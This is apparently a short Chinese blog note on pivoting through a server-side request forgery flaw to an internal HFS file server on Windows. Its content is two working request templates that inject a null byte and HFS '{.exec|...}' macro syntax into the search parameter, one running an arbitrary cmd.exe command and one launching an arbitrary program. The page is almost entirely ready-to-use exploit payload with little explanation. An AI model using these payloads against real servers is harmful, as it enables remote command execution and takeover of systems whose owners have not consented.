【笔记】HFS服务端请求伪造

发表于 更新于 阅读次数：

前言

HFS服务端请求伪造

准备工作

  • 当前服务器的网络内有HFS服务
  • 当前网站有SSRF服务端请求伪造漏洞

正文

Windows

执行CMD命令

<cmd>：命令

request
1
GET http://127.0.0.1:80/?search==%00{.exec|cmd.exe <cmd>.}

运行其他程序

<file>.exe：其他程序

request
1
GET http://127.0.0.1:80/?search==%00{.exec|<file>.exe.}

完成

参考文献

哔哩哔哩——xiaodisec